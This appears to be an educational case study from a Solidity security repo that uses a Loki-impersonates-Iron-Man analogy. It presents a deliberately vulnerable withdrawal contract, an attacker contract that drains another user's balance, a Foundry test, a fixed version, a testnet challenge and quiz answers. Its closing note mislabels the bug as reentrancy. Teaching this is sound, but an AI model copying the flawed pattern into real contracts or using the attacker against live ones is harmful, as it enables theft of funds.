
Loki Impersonates Iron Man – Input Validation Exploit Case Study
TL;DR
- Vulnerability: Missing input validation in
exitPortal()
→ anyone can impersonate a validator/hero. - Impact: Loki tricks the Mirror Dimension into letting him withdraw funds while pretending to be Iron Man.
- Severity: Critical.
- Fix: Require proper identity/authentication (consensus proof, signatures) before allowing exits.
🎬 Story Time
In the MCU, Doctor Strange protects the Mirror Dimension, where only trusted Avengers should pass through portals.
But what if Strange fails to check who’s walking out?
Enter Loki, the God of Mischief. If the portal only checks “is there an address?” instead of “is this really Iron Man?”, Loki can slip out disguised as Tony Stark and drain Stark’s treasure.
This mirrors a real smart contract bug: missing input validation on withdrawal/exit functions.
Fun fact: Loki doesn’t appear in Doctor Strange (2016), but a post-credits scene shows Strange agreeing to help Thor search for Odin - with Loki tagging along. Loki’s impersonator skills make him the perfect metaphor here.
All Files Available here.
Vulnerable Contract
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
contract MirrorDimensionPortal { mapping(address => uint256) public balances;
function deposit() external payable { require(msg.value > 0, "zero deposit"); balances[msg.sender] += msg.value; }
/// @notice Vulnerable exit function function exitPortal(address validator, uint256 amount) external { // Missing: require(msg.sender == validator) // Missing: consensus proof / signature verification require(amount > 0 && balances[validator] >= amount, "insufficient balance");
balances[validator] -= amount; payable(msg.sender).transfer(amount); }}
WARNINGAnyone can pass in
validator = IronMan
but call frommsg.sender = Loki
.
The portal happily pays Loki.
Proof of Exploit
Attacker contract:
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import {MirrorDimensionPortal} from "./MirrorDimensionPortal.sol";
contract LokiAttack { MirrorDimensionPortal public portal;
constructor(address _portal) { portal = MirrorDimensionPortal(_portal); }
function impersonateIronMan(address ironMan, uint256 amount) external { portal.exitPortal(ironMan, amount); }
receive() external payable {}}
Flow:
- Iron Man deposits 100 ETH.
- Loki calls
exitPortal(IronMan, 100 ether)
. - Contract doesn’t validate sender.
- Funds are sent to Loki.
Fixed Contract
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
contract MirrorDimensionPortalFixed { mapping(address => uint256) public balances;
function deposit() external payable { require(msg.value > 0, "zero deposit"); balances[msg.sender] += msg.value; }
function exitPortal(uint256 amount) external { require(amount > 0, "invalid amount"); require(balances[msg.sender] >= amount, "insufficient balance");
balances[msg.sender] -= amount; (bool sent,) = payable(msg.sender).call{value: amount}(""); require(sent, "send failed"); }}
Fixes:
- Only
msg.sender
can withdraw their own funds. - Stub for validator proofs or signature-based authorization.
- Safer
.call
pattern for transfers.
NOTENote: This demo uses
.call
for clarity and to show a realistic transfer. For production, prefer the pull-payment pattern and usenonReentrant
+ CEI. SeeMirrorPortalPullPayment.sol
for a production-ready pattern.
Test Snippet (Foundry)
pragma solidity ^0.8.24;import "forge-std/Test.sol";import "../src/MirrorDimensionPortal.sol";import "../src/LokiAttack.sol";
contract MirrorPortalTest is Test { MirrorDimensionPortal portal; LokiAttack loki; address ironMan = makeAddr("ironMan"); address lokiAddr = makeAddr("loki");
uint256 amount = 100 ether;
function setUp() public { portal = new MirrorDimensionPortal(); vm.deal(ironMan, amount); vm.startPrank(ironMan); portal.deposit{value: amount}(); vm.stopPrank(); }
function testExploit() public { vm.startPrank(lokiAddr); loki = new LokiAttack(address(portal)); loki.impersonateIronMan(ironMan, amount); vm.stopPrank();
assertEq(address(loki).balance, amount, "Loki drained funds"); }}
Run locally:
forge test -vv
Real-World Parallels
-
Ethereum Validator Exit – $41M Hack (2025)
Missing validation in validator exits allowed unauthorized withdrawals.
👉 Loki pretending to be Iron Man.
u.today report -
Improper Input Validation in DeFi
Missingrequire()
checks enable impersonation/unauthorized access.
👉 Doctor Strange forgetting to check the exit.
Metana.io blog
Auditor’s Checklist
- Validate ownership/signatures for addresses.
- Require consensus proofs for validator exits.
- Never let arbitrary addresses withdraw funds.
- Simulate attacker contracts in tests.
Recommendations
- Always match
msg.sender
with the acting account. - Use ECDSA signatures or consensus proofs.
- Prefer pull-payment patterns.
- Include impersonation scenarios in test suites.
Challenge: Stop Loki’s Portal Heist!
Challenge Name: Doctor Strange vs. Loki – Input Validation Exploit
- Description: Doctor Strange guards the Mirror Portal, but missing input validation lets mischievous villains like Loki impersonate heroes and withdraw funds. Your mission is to exploit the vulnerability in the portal contract, understand why it happens, and implement a secure fix.
Steps:
-
Deploy the vulnerable
MirrorDimensionPortal.sol
on Sepolia (use Remix or Foundry). -
Deploy
LokiAttack.sol
to exploit the portal and drain another user’s balance. -
Implement a fixed contract that enforces:
msg.sender
is the rightful owner or- cryptographic authorization (signatures/consensus proof).
-
Test your fix locally or on Sepolia using Foundry, Hardhat, or Remix.
-
Share your fixed contract’s Sepolia address in the Discussions tab and on X with
#TheSandFChallenge
and tag@THE_SANDF
. -
Bonus: Include a screenshot showing the successful exploit and the corrected behavior.
-
Top submissions earn a chance to join our audit beta program.
- What is the core flaw in the
exitPortal(address validator, uint256 amount)
function?
-
a) It uses
transfer()
instead ofcall()
. -
b) It allows anyone to specify a
validator
address and withdraw funds from that address without verifying the caller. -
c) It accepts
uint256
instead ofuint128
foramount
. -
d) It incorrectly stores balances in
mapping(address => uint256)
.Show Answer
Answer: b) It allows anyone to specify a
validator
address and withdraw funds from that address without verifying the caller.Explanation: The function checks
balances[validator] >= amount
but never requiresmsg.sender == validator
(or validates a signature/consensus proof). That lets a malicious caller pass someone else’s address asvalidator
and receive the funds.
- Which of the following is the strongest immediate mitigation to stop the impersonation exploit in
exitPortal
?
-
a) Make the
balances
mappingprivate
. -
b) Require
msg.sender == validator
(or movevalidator
out of the caller-supplied arguments) and/or require a valid ECDSA signature from the validator. -
c) Switch from
transfer()
tosend()
. -
d) Replace
uint256
withint256
for balances so negatives are possible.Show Answer
Answer: b) Require
msg.sender == validator
(or movevalidator
out of caller-supplied arguments) and/or require a valid ECDSA signature from the validator.Explanation: Making
balances
private or changing numeric types doesn’t prevent unauthorized withdrawals. The correct fix is to enforce that only the rightful owner (or a cryptographically authorized actor) can trigger a withdrawal - either by matchingmsg.sender
or verifying a signature/consensus proof.
- Which secure design pattern would best reduce attack surface for withdrawals in a production-ready portal?
-
a) Keep a single
exitPortal()
that immediately transfers funds tomsg.sender
usingtransfer()
. -
b) Use a pull-payment pattern where users call
withdraw()
to pull their funds; pair withnonReentrant
and CEI (checks-effects-interactions). -
c) Allow anyone to call
exitPortal()
but log events so auditors can track withdrawals later. -
d) Add a
public
setter that lets validators opt-in and confirm balances.Show Answer
-Answer: b) Use a pull-payment pattern where users call
withdraw()
to pull their funds; pair withnonReentrant
and CEI (checks-effects-interactions).Explanation: Pull payments avoid forced transfers to arbitrary addresses and let users claim funds themselves. Combined with CEI and
nonReentrant
, this pattern minimizes reentrancy/authorization risks and is preferred for production code.
Closing Thought
Just like Loki slipping out of the Mirror Dimension disguised as Iron Man, attackers exploit missing validation to impersonate and steal.
Doctor Strange’s lesson for Solidity devs:
👉 Always check who’s walking through your portal.
NOTEThis repo is an educational minimal reproduction of reentrancy. The MCU analogy (Loki Impersonates Iron Man) makes the bug memorable, but the exploit reflects real-world $41M hacks.
Ready to Battle Bugs?
Join the Defi CTF Challenge! Audit vulnerable contracts in our Defi CTF Challenges (Full credit to Hans Friese, co-founder of Cyfrin.), submit your report via GitHub Issues/Discussions, or tag @THE_SANDF on X. Let’s secure the Web3 multiverse together! 🏗️ Start the Challenge